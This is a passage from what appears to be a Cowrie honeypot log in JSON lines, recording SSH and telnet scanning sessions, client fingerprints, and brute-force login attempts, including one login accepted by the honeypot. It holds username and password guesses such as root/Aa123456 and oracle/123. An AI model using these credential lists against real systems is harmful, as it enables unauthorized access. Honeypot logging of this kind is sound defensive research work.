{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":56342,"dst_ip":"159.203.135.109","dst_port":23,"session":"8272d158a776","protocol":"telnet","message":"New connection: 170.64.224.25:56342 (159.203.135.109:23) [session: 8272d158a776]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:42:11.884318Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":56358,"dst_ip":"159.203.135.109","dst_port":23,"session":"fd246bf3d5a8","protocol":"telnet","message":"New connection: 170.64.224.25:56358 (159.203.135.109:23) [session: fd246bf3d5a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:42:15.519433Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.202.230.81","src_port":44578,"dst_ip":"10.17.0.5","dst_port":22,"session":"a18fa6cedc6f","protocol":"ssh","message":"New connection: 213.202.230.81:44578 (10.17.0.5:22) [session: a18fa6cedc6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:42:16.434247Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:42:16.441612Z","src_ip":"213.202.230.81","session":"a18fa6cedc6f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:42:16.535869Z","src_ip":"213.202.230.81","session":"a18fa6cedc6f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rndr","password":"rndr123","message":"login attempt [rndr/rndr123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:42:16.819767Z","src_ip":"213.202.230.81","session":"a18fa6cedc6f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:42:17.917155Z","src_ip":"213.202.230.81","session":"a18fa6cedc6f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":43106,"dst_ip":"159.203.135.109","dst_port":22,"session":"d706f62a969f","protocol":"ssh","message":"New connection: 160.187.174.22:43106 (159.203.135.109:22) [session: d706f62a969f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:42:23.414514Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:42:23.418832Z","src_ip":"160.187.174.22","session":"d706f62a969f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:42:23.654714Z","src_ip":"160.187.174.22","session":"d706f62a969f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"1234qwer","message":"login attempt [test/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:42:24.368998Z","src_ip":"160.187.174.22","session":"d706f62a969f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:42:25.608113Z","src_ip":"160.187.174.22","session":"d706f62a969f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":28.343111753463745,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:42:40.227256Z","src_ip":"170.64.224.25","session":"8272d158a776","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.61739230155945,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:42:41.349876Z","src_ip":"170.64.224.25","session":"6f8e578e5715","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00131940841675,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:42:45.716691Z","src_ip":"107.6.151.170","session":"c3a095c45e04","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":57782,"dst_ip":"159.203.135.109","dst_port":22,"session":"36c4899e0369","protocol":"ssh","message":"New connection: 160.187.174.22:57782 (159.203.135.109:22) [session: 36c4899e0369]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:42:50.781055Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:42:50.786536Z","src_ip":"160.187.174.22","session":"36c4899e0369","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:42:51.035302Z","src_ip":"160.187.174.22","session":"36c4899e0369","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456","message":"login attempt [root/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:42:51.784286Z","src_ip":"160.187.174.22","session":"36c4899e0369","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:42:53.028855Z","src_ip":"160.187.174.22","session":"36c4899e0369","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":47662,"dst_ip":"159.203.135.109","dst_port":22,"session":"49c0bb926e27","protocol":"ssh","message":"New connection: 103.98.149.87:47662 (159.203.135.109:22) [session: 49c0bb926e27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:42:56.410184Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:42:56.414995Z","src_ip":"103.98.149.87","session":"49c0bb926e27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:42:56.641965Z","src_ip":"103.98.149.87","session":"49c0bb926e27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.185.207","src_port":37480,"dst_ip":"159.203.135.109","dst_port":22,"session":"aa33a71b6c36","protocol":"ssh","message":"New connection: 143.20.185.207:37480 (159.203.135.109:22) [session: aa33a71b6c36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:42:56.855465Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:42:56.912518Z","src_ip":"143.20.185.207","session":"aa33a71b6c36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:42:57.048240Z","src_ip":"143.20.185.207","session":"aa33a71b6c36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:42:57.311208Z","src_ip":"103.98.149.87","session":"49c0bb926e27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"XYZZ4VCPU8GBAMD","message":"login attempt [root/XYZZ4VCPU8GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:42:57.516706Z","src_ip":"143.20.185.207","session":"aa33a71b6c36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:42:58.541934Z","src_ip":"103.98.149.87","session":"49c0bb926e27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:42:58.635886Z","src_ip":"143.20.185.207","session":"aa33a71b6c36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.784133195877075,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:43:03.303431Z","src_ip":"170.64.224.25","session":"fd246bf3d5a8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":35850,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b2df2cd3267","protocol":"telnet","message":"New connection: 107.6.151.170:35850 (159.203.135.109:23) [session: 6b2df2cd3267]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:43:19.379468Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":53880,"dst_ip":"159.203.135.109","dst_port":22,"session":"1b803c2d9ba7","protocol":"ssh","message":"New connection: 160.187.174.22:53880 (159.203.135.109:22) [session: 1b803c2d9ba7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:43:20.363152Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:43:20.366253Z","src_ip":"160.187.174.22","session":"1b803c2d9ba7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:43:20.613771Z","src_ip":"160.187.174.22","session":"1b803c2d9ba7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.190.216.105","src_port":50788,"dst_ip":"10.17.0.5","dst_port":22,"session":"4f0e696ed70e","protocol":"ssh","message":"New connection: 172.190.216.105:50788 (10.17.0.5:22) [session: 4f0e696ed70e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:43:21.083143Z"}
{"eventid":"cowrie.login.failed","username":"developer","password":"123456","message":"login attempt [developer/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:43:21.358975Z","src_ip":"160.187.174.22","session":"1b803c2d9ba7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":50886,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f0cab65052c","protocol":"telnet","message":"New connection: 170.64.224.25:50886 (159.203.135.109:23) [session: 4f0cab65052c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:43:21.543725Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:43:22.607706Z","src_ip":"160.187.174.22","session":"1b803c2d9ba7","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:43:23.887892Z","src_ip":"172.190.216.105","session":"4f0e696ed70e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":44508,"dst_ip":"10.17.0.5","dst_port":22,"session":"f61f9449157a","protocol":"ssh","message":"New connection: 91.92.40.4:44508 (10.17.0.5:22) [session: f61f9449157a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:43:25.898230Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:43:25.902229Z","src_ip":"91.92.40.4","session":"f61f9449157a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:43:26.142791Z","src_ip":"91.92.40.4","session":"f61f9449157a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"123","message":"login attempt [oracle/123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:43:26.399453Z","src_ip":"91.92.40.4","session":"f61f9449157a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 